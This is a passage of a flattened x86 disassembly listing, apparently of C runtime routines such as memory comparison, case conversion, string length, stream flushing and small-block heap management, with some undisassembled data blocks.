pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41DE27: ; CODE XREF: sub_41DE10+7j mov eax, [esp+arg_0] mov ecx, off_43A680 mov al, [ecx+eax*2] and eax, 8 retn sub_41DE10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DE40 proc near ; CODE XREF: sub_418246+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41DE8C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41DE8D test eax, 1 jz short loc_41DE6D mov cl, [esi] cmp cl, [edi] jnz short loc_41DEBA inc esi inc edi dec eax jz short loc_41DE8A loc_41DE6D: ; CODE XREF: sub_41DE40+20j ; sub_41DE40+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41DEBA mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41DEBA add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41DE6D loc_41DE8A: ; CODE XREF: sub_41DE40+2Bj ; sub_41DE40+84j pop edi pop esi locret_41DE8C: ; CODE XREF: sub_41DE40+6j retn ; --------------------------------------------------------------------------- loc_41DE8D: ; CODE XREF: sub_41DE40+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41DEC2 repe cmpsd jz short loc_41DEC2 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41DEB5 cmp ch, dh jnz short loc_41DEB5 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41DEB5 cmp ch, dh loc_41DEB5: ; CODE XREF: sub_41DE40+63j ; sub_41DE40+67j ... mov eax, 0 loc_41DEBA: ; CODE XREF: sub_41DE40+26j ; sub_41DE40+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DEC2: ; CODE XREF: sub_41DE40+55j ; sub_41DE40+59j test eax, eax jz short loc_41DE8A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41DEB5 dec eax jz short loc_41DEE9 cmp dh, ch jnz short loc_41DEB5 dec eax jz short loc_41DEE9 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41DEB5 dec eax loc_41DEE9: ; CODE XREF: sub_41DE40+8Fj ; sub_41DE40+96j pop edi pop esi retn sub_41DE40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEEC proc near ; CODE XREF: sub_418566+6p ; sub_418584+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4D97D0, 0 push ebx push esi push edi jnz short loc_41DF19 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41DFB2 cmp eax, 5Ah jg loc_41DFB2 add eax, 20h jmp loc_41DFB2 ; --------------------------------------------------------------------------- loc_41DF19: ; CODE XREF: sub_41DEEC+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41DF4D cmp dword_43A88C, esi jle short loc_41DF3B push esi push ebx call sub_41F44A pop ecx pop ecx jmp short loc_41DF45 ; --------------------------------------------------------------------------- loc_41DF3B: ; CODE XREF: sub_41DEEC+42j mov eax, off_43A680 mov al, [eax+ebx*2] and eax, esi loc_41DF45: ; CODE XREF: sub_41DEEC+4Dj test eax, eax jnz short loc_41DF4D loc_41DF49: ; CODE XREF: sub_41DEEC+ADj mov eax, ebx jmp short loc_41DFB2 ; --------------------------------------------------------------------------- loc_41DF4D: ; CODE XREF: sub_41DEEC+3Aj ; sub_41DEEC+5Bj mov edx, off_43A680 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41DF71 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41DF7A ; --------------------------------------------------------------------------- loc_41DF71: ; CODE XREF: sub_41DEEC+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41DF7A: ; CODE XREF: sub_41DEEC+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4D97D0 call sub_4229D2 add esp, 20h test eax, eax jz short loc_41DF49 cmp eax, esi jnz short loc_41DFA5 movzx eax, [ebp+var_4] jmp short loc_41DFB2 ; --------------------------------------------------------------------------- loc_41DFA5: ; CODE XREF: sub_41DEEC+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41DFB2: ; CODE XREF: sub_41DEEC+16j ; sub_41DEEC+1Fj ... pop edi pop esi pop ebx leave retn sub_41DEEC endp ; =============== S U B R O U T I N E ======================================= sub_41DFB7 proc near ; CODE XREF: sub_418AA2+ADp ; sub_419A81+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41DFCE loc_41DFC4: ; CODE XREF: sub_41DFB7+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41DFC4 loc_41DFCE: ; CODE XREF: sub_41DFB7+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41DFB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DFD4 proc near ; CODE XREF: sub_418AA2+7Fp ; sub_418AA2+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41E0A1 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41E0CE cmp dword_4D97D0, esi jnz short loc_41E025 cmp edi, esi jbe loc_41E0CE loc_41E004: ; CODE XREF: sub_41DFD4+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41E0CE inc eax inc edx inc edx cmp eax, edi jb short loc_41E004 jmp loc_41E0CE ; --------------------------------------------------------------------------- loc_41E025: ; CODE XREF: sub_41DFD4+26j mov ebx, [ebp+arg_4] mov esi, dword_4270F0 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4D97E0 call esi test eax, eax jnz loc_41E0CD call near ptr 26908A7h nop cmp eax, 7Ah jz short loc_41E05F loc_41E050: ; CODE XREF: sub_41DFD4+CBj ; sub_41DFD4+F7j mov dword_4D9714, 2Ah or eax, 0FFFFFFFFh jmp short loc_41E0CE ; --------------------------------------------------------------------------- loc_41E05F: ; CODE XREF: sub_41DFD4+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41E067: ; CODE XREF: sub_41DFD4+B3j mov cl, [eax] test cl, cl jz short loc_41E089 mov edx, off_43A680 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41E07E inc eax loc_41E07E: ; CODE XREF: sub_41DFD4+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41E067 loc_41E089: ; CODE XREF: sub_41DFD4+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4D97E0 call esi test eax, eax jnz short loc_41E0CE jmp short loc_41E050 ; --------------------------------------------------------------------------- loc_41E0A1: ; CODE XREF: sub_41DFD4+Fj cmp dword_4D97D0, esi jnz short loc_41E0B4 push [ebp+arg_4] call sub_41B960 pop ecx jmp short loc_41E0CE ; --------------------------------------------------------------------------- loc_41E0B4: ; CODE XREF: sub_41DFD4+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4D97E0 call near ptr 2700000h nop cmp eax, esi jz short loc_41E050 loc_41E0CD: ; CODE XREF: sub_41DFD4+6Bj dec eax loc_41E0CE: ; CODE XREF: sub_41DFD4+1Aj ; sub_41DFD4+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41DFD4 endp ; --------------------------------------------------------------------------- aZJybRR1_ekdb db '^zа╕YbшЮ}r1г.E┼d║',0 align 4 aPdi db 'Pd┴%',0 align 10h dd 5358EC83h, 65895756h, 34E890E8h, 33024939h, 89D48AD2h dd 4D972C15h, 81C88B00h, 0FFE1h, 280D8900h, 0C1004D97h dd 0CA0308E1h, 97240D89h, 0E8C1004Dh, 9720A310h, 0F633004Dh dd 2CBE856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h dd 0C3E8FC75h, 90000050h, 4938BEE8h, 0ADA4A302h, 81E8004Dh dd 0A300004Fh, 4D9788h, 4D2AE8h, 4C6CE800h, 99E80000h dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2491E88h, 4BFDE8h dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah dd 569C75FFh, 45E89056h, 5002272Ch, 0FE3080E8h, 0A04589FFh dd 0DD87E850h, 458BFFFFh, 8B088BECh, 984D8909h, 3BE85150h dd 5900004Ah, 658BC359h, 9875FFE8h, 0FFDD79E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41E1C9 proc near ; CODE XREF: ___:0041D7D8p ; ___:00422E20p ... arg_0 = dword ptr 4 cmp dword_4D9790, 1 jnz short loc_41E1D7 call sub_423498 loc_41E1D7: ; CODE XREF: sub_41E1C9+7j push [esp+arg_0] call sub_4234D1 push 0FFh call off_43A670 pop ecx pop ecx retn sub_41E1C9 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4D9790 dd 0E8057501h, 529Ch, 42474FFh, 52CCE8h, 0FF685900h, 90000000h dd 0A57AA4E8h db 77h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41E212 proc near ; CODE XREF: sub_41B9DB+2Ap ; sub_42393B+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DAB60 jnb loc_41E2AC mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DAA60h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41E2AC push edi call sub_4237AA cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E28B cmp edi, 1 jz short loc_41E259 cmp edi, 2 jnz short loc_41E26F loc_41E259: ; CODE XREF: sub_41E212+40j push 2 call sub_4237AA push 1 mov ebp, eax call sub_4237AA pop ecx cmp eax, ebp pop ecx jz short loc_41E28B loc_41E26F: ; CODE XREF: sub_41E212+45j push edi call sub_4237AA pop ecx push eax nop call near ptr 2670000h test eax, eax jnz short loc_41E28B call near ptr 26908A7h nop mov ebp, eax jmp short loc_41E28D ; --------------------------------------------------------------------------- loc_41E28B: ; CODE XREF: sub_41E212+3Bj ; sub_41E212+5Bj ... xor ebp, ebp loc_41E28D: ; CODE XREF: sub_41E212+77j push edi call sub_423730 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41E2A8 push ebp call sub_420314 pop ecx jmp short loc_41E2BD ; --------------------------------------------------------------------------- loc_41E2A8: ; CODE XREF: sub_41E212+8Bj xor eax, eax jmp short loc_41E2C0 ; --------------------------------------------------------------------------- loc_41E2AC: ; CODE XREF: sub_41E212+Ej ; sub_41E212+2Fj and dword_4D9718, 0 mov dword_4D9714, 9 loc_41E2BD: ; CODE XREF: sub_41E212+94j or eax, 0FFFFFFFFh loc_41E2C0: ; CODE XREF: sub_41E212+98j pop edi pop esi pop ebp pop ebx retn sub_41E212 endp ; =============== S U B R O U T I N E ======================================= sub_41E2C5 proc near ; CODE XREF: sub_41B9DB+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41E2EE test al, 8 jz short loc_41E2EE push dword ptr [esi+8] call sub_41BA31 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41E2EE: ; CODE XREF: sub_41E2C5+Aj ; sub_41E2C5+Ej pop esi retn sub_41E2C5 endp ; =============== S U B R O U T I N E ======================================= sub_41E2F0 proc near ; CODE XREF: sub_41E390+2Dp ; sub_41E390+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41E302 push esi call sub_41E390 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E302: ; CODE XREF: sub_41E2F0+7j push esi call sub_41E32B test eax, eax pop ecx jz short loc_41E312 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41E312: ; CODE XREF: sub_41E2F0+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41E327 push dword ptr [esi+10h] call sub_4237E7 neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41E327: ; CODE XREF: sub_41E2F0+26j xor eax, eax pop esi retn sub_41E2F0 endp ; =============== S U B R O U T I N E ======================================= sub_41E32B proc near ; CODE XREF: sub_41B9DB+1Ap ; ___:0041D9C3p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41E378 test ax, 108h jz short loc_41E378 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41E378 push edi push eax push dword ptr [esi+10h] call sub_422825 add esp, 0Ch cmp eax, edi jnz short loc_41E371 mov eax, [esi+0Ch] test al, 80h jz short loc_41E378 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41E378 ; --------------------------------------------------------------------------- loc_41E371: ; CODE XREF: sub_41E32B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41E378: ; CODE XREF: sub_41E32B+14j ; sub_41E32B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41E32B endp ; =============== S U B R O U T I N E ======================================= sub_41E387 proc near ; CODE XREF: sub_4238E3p push 1 call sub_41E390 pop ecx retn sub_41E387 endp ; =============== S U B R O U T I N E ======================================= sub_41E390 proc near ; CODE XREF: sub_41E2F0+Ap ; sub_41E387+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DAA40, esi jle short loc_41E3EE loc_41E3A1: ; CODE XREF: sub_41E390+5Cj mov eax, dword_4D9A30 mov eax, [eax+esi*4] test eax, eax jz short loc_41E3E5 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41E3E5 cmp [esp+0Ch+arg_0], 1 jnz short loc_41E3CB push eax call sub_41E2F0 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E3E5 inc ebx jmp short loc_41E3E5 ; --------------------------------------------------------------------------- loc_41E3CB: ; CODE XREF: sub_41E390+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41E3E5 test cl, 2 jz short loc_41E3E5 push eax call sub_41E2F0 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41E3E5 or edi, eax loc_41E3E5: ; CODE XREF: sub_41E390+1Bj ; sub_41E390+23j ... inc esi cmp esi, dword_4DAA40 jl short loc_41E3A1 loc_41E3EE: ; CODE XREF: sub_41E390+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41E3F9 mov eax, edi loc_41E3F9: ; CODE XREF: sub_41E390+65j pop edi pop esi pop ebx retn sub_41E390 endp ; --------------------------------------------------------------------------- db 33h, 0C0h, 6Ah dd 24443900h, 10006808h, 940F0000h, 0EDE850C0h, 90024A1Bh dd 0A0A3C085h, 74004DADh, 17E815h, 0C0850000h, 35FF0F75h dd 4DADA0h, 3868E890h, 0C0330249h, 58016AC3h, 14068C3h dd 6A0000h, 0ADA035FFh, 0B5E8004Dh, 90023C1Bh, 9CA3C085h dd 75004DADh, 2583C301h, 4DAD94h, 98258300h, 4DADh, 90A3016Ah dd 0C7004DADh, 4DAD8805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41E477 proc near ; CODE XREF: sub_41BA31+Ap ; sub_41BB48+3Dp ... arg_0 = dword ptr 4 mov eax, dword_4DAD98 lea ecx, [eax+eax*4] mov eax, dword_4DAD9C lea ecx, [eax+ecx*4] loc_41E487: ; CODE XREF: sub_41E477+26j cmp eax, ecx jnb short loc_41E49F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41E4A1 add eax, 14h jmp short loc_41E487 ; --------------------------------------------------------------------------- loc_41E49F: ; CODE XREF: sub_41E477+12j xor eax, eax locret_41E4A1: ; CODE XREF: sub_41E477+21j retn sub_41E477 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E4A2 proc near ; CODE XREF: sub_41BA31+16p ; sub_41BB48+89p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] push ebx push esi mov eax, [ecx+10h] mov esi, edx sub esi, [ecx+0Ch] mov ebx, [edx-4] add edx, 0FFFFFFFCh push edi shr esi, 0Fh mov ecx, esi mov edi, [edx-4] imul ecx, 204h dec ebx mov [ebp+var_4], edi lea ecx, [ecx+eax+144h] mov [ebp+var_C], ebx mov [ebp+var_10], ecx mov ecx, [ebx+edx] test cl, 1 mov [ebp+var_8], ecx jnz short loc_41E568 sar ecx, 4 push 3Fh dec ecx pop edi mov [ebp+arg_4], ecx cmp ecx, edi jbe short loc_41E4FA mov [ebp+arg_4], edi loc_41E4FA: ; CODE XREF: sub_41E4A2+53j mov ecx, [ebx+edx+4] cmp ecx, [ebx+edx+8] jnz short loc_41E54C mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_41E528 mov edi, 80000000h shr edi, cl lea ecx, [ecx+eax+4] not edi and [eax+esi*4+44h], edi dec byte ptr [ecx] jnz short loc_41E54C mov ecx, [ebp+arg_0] and [ecx], edi jmp short loc_41E54C ; --------------------------------------------------------------------------- loc_41E528: ; CODE XREF: sub_41E4A2+68j add ecx, 0FFFFFFE0h mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edi and [eax+esi*4+0C4h], edi dec byte ptr [ecx] jnz short loc_41E54C mov ecx, [ebp+arg_0] and [ecx+4], edi loc_41E54C: ; CODE XREF: sub_41E4A2+60j ; sub_41E4A2+7Dj ... mov ecx, [ebx+edx+8] mov edi, [ebx+edx+4] mov [ecx+4], edi mov ecx, [ebx+edx+4] mov edi, [ebx+edx+8] add ebx, [ebp+var_8] mov [ecx+8], edi mov [ebp+var_C], ebx loc_41E568: ; CODE XREF: sub_41E4A2+45j mov edi, ebx sar edi, 4 dec edi cmp edi, 3Fh jbe short loc_41E576 push 3Fh pop edi loc_41E576: ; CODE XREF: sub_41E4A2+CFj mov ecx, [ebp+var_4] and ecx, 1 mov [ebp+var_14], ecx jnz loc_41E625 sub edx, [ebp+var_4] mov ecx, [ebp+var_4] sar ecx, 4 push 3Fh mov [ebp+var_8], edx dec ecx pop edx cmp ecx, edx mov [ebp+arg_4], ecx jbe short loc_41E5A1 mov [ebp+arg_4], edx mov ecx, edx loc_41E5A1: ; CODE XREF: sub_41E4A2+F8j add ebx, [ebp+var_4] mov edi, ebx mov [ebp+var_C], ebx sar edi, 4 dec edi cmp edi, edx jbe short loc_41E5B3 mov edi, edx loc_41E5B3: ; CODE XREF: sub_41E4A2+10Dj cmp ecx, edi jz short loc_41E622 mov ecx, [ebp+var_8] mov edx, [ecx+4] cmp edx, [ecx+8] jnz short loc_41E60A mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_41E5E6 mov edx, 80000000h shr edx, cl lea ecx, [ecx+eax+4] not edx and [eax+esi*4+44h], edx dec byte ptr [ecx] jnz short loc_41E60A mov ecx, [ebp+arg_0] and [ecx], edx jmp short loc_41E60A ; --------------------------------------------------------------------------- loc_41E5E6: ; CODE XREF: sub_41E4A2+126j add ecx, 0FFFFFFE0h mov edx, 80000000h shr edx, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edx and [eax+esi*4+0C4h], edx dec byte ptr [ecx] jnz short loc_41E60A mov ecx, [ebp+arg_0] and [ecx+4], edx loc_41E60A: ; CODE XREF: sub_41E4A2+11Ej ; sub_41E4A2+13Bj ... mov ecx, [ebp+var_8] mov edx, [ecx+8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_8] mov edx, [ecx+4] mov ecx, [ecx+8] mov [edx+8], ecx loc_41E622: ; CODE XREF: sub_41E4A2+113j mov edx, [ebp+var_8] loc_41E625: ; CODE XREF: sub_41E4A2+DDj cmp [ebp+var_14], 0 jnz short loc_41E634 cmp [ebp+arg_4], edi jz loc_41E6BD loc_41E634: ; CODE XREF: sub_41E4A2+187j mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E6BD mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41E691 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E680 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E680: ; CODE XREF: sub_41E4A2+1CEj mov ebx, 80000000h mov ecx, edi shr ebx, cl lea eax, [eax+esi*4+44h] or [eax], ebx jmp short loc_41E6BA ; --------------------------------------------------------------------------- loc_41E691: ; CODE XREF: sub_41E4A2+1C8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E6A7 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E6A7: ; CODE XREF: sub_41E4A2+1F3j lea ecx, [edi-20h] mov edi, 80000000h shr edi, cl lea eax, [eax+esi*4+0C4h] or [eax], edi loc_41E6BA: ; CODE XREF: sub_41E4A2+1EDj mov ebx, [ebp+var_C] loc_41E6BD: ; CODE XREF: sub_41E4A2+18Cj ; sub_41E4A2+1B6j mov eax, [ebp+var_10] mov [edx], ebx mov [ebx+edx-4], ebx dec dword ptr [eax] jnz loc_41E7C8 mov eax, dword_4DAD94 test eax, eax jz loc_41E7BA mov ecx, dword_4DAD8C mov edi, dword_4271D0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call edi mov ecx, dword_4DAD8C mov eax, dword_4DAD94 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DAD94 mov ecx, dword_4DAD8C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DAD94 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DAD94 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E748 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DAD94 loc_41E748: ; CODE XREF: sub_41E4A2+29Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E7BA push ebx push 0 push dword ptr [eax+0Ch] call edi mov eax, dword_4DAD94 push dword ptr [eax+10h] push 0 push dword_4DADA0 nop call near ptr 27D05CAh mov eax, dword_4DAD98 mov edx, dword_4DAD9C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DAD94 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41D400 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DAD98 cmp eax, dword_4DAD94 jbe short loc_41E7AC sub eax, 14h loc_41E7AC: ; CODE XREF: sub_41E4A2+305j mov ecx, dword_4DAD9C mov dword_4DAD90, ecx jmp short loc_41E7BD ; --------------------------------------------------------------------------- loc_41E7BA: ; CODE XREF: sub_41E4A2+233j ; sub_41E4A2+2AAj mov eax, [ebp+arg_0] loc_41E7BD: ; CODE XREF: sub_41E4A2+316j mov dword_4DAD94, eax mov dword_4DAD8C, esi loc_41E7C8: ; CODE XREF: sub_41E4A2+226j pop edi pop esi pop ebx leave retn sub_41E4A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E7CD proc near ; CODE XREF: sub_41BB48+69p ; sub_41BCD9+Ep ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DAD98 mov edx, dword_4DAD9C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41E80D or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41E81D ; --------------------------------------------------------------------------- loc_41E80D: ; CODE XREF: sub_41E7CD+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41E81D: ; CODE XREF: sub_41E7CD+3Ej mov eax, dword_4DAD90 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41E844 loc_41E82B: ; CODE XREF: sub_41E7CD+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E844 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41E82B loc_41E844: ; CODE XREF: sub_41E7CD+5Cj ; sub_41E7CD+6Aj cmp ebx, [ebp+var_4] jnz short loc_41E8C2 mov ebx, edx loc_41E84B: ; CODE XREF: sub_41E7CD+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E867 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E865 add ebx, 14h jmp short loc_41E84B ; --------------------------------------------------------------------------- loc_41E865: ; CODE XREF: sub_41E7CD+91j cmp ebx, eax loc_41E867: ; CODE XREF: sub_41E7CD+83j jnz short loc_41E8C2 loc_41E869: ; CODE XREF: sub_41E7CD+ADj cmp ebx, [ebp+var_4] jnb short loc_41E87F cmp dword ptr [ebx+8], 0 jnz short loc_41E87C add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41E869 ; --------------------------------------------------------------------------- loc_41E87C: ; CODE XREF: sub_41E7CD+A5j cmp ebx, [ebp+var_4] loc_41E87F: ; CODE XREF: sub_41E7CD+9Fj jnz short loc_41E8A7 mov ebx, edx loc_41E883: ; CODE XREF: sub_41E7CD+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E897 cmp dword ptr [ebx+8], 0 jnz short loc_41E895 add ebx, 14h jmp short loc_41E883 ; --------------------------------------------------------------------------- loc_41E895: ; CODE XREF: sub_41E7CD+C1j cmp ebx, eax loc_41E897: ; CODE XREF: sub_41E7CD+BBj jnz short loc_41E8A7 call sub_41EAD6 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41E8BB loc_41E8A7: ; CODE XREF: sub_41E7CD:loc_41E87Fj ; sub_41E7CD:loc_41E897j push ebx call sub_41EB87 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41E8C2 loc_41E8BB: ; CODE XREF: sub_41E7CD+D8j xor eax, eax jmp loc_41EAD1 ; --------------------------------------------------------------------------- loc_41E8C2: ; CODE XREF: sub_41E7CD+7Aj ; sub_41E7CD:loc_41E867j ... mov dword_4DAD90, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41E8E9 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E920 loc_41E8E9: ; CODE XREF: sub_41E7CD+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41E91D loc_41E906: ; CODE XREF: sub_41E7CD+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41E906 loc_41E91D: ; CODE XREF: sub_41E7CD+137j mov edx, [ebp+var_4] loc_41E920: ; CODE XREF: sub_41E7CD+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41E949 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41E949: ; CODE XREF: sub_41E7CD+16Dj ; sub_41E7CD+183j test ecx, ecx jl short loc_41E952 shl ecx, 1 inc edi jmp short loc_41E949 ; --------------------------------------------------------------------------- loc_41E952: ; CODE XREF: sub_41E7CD+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov 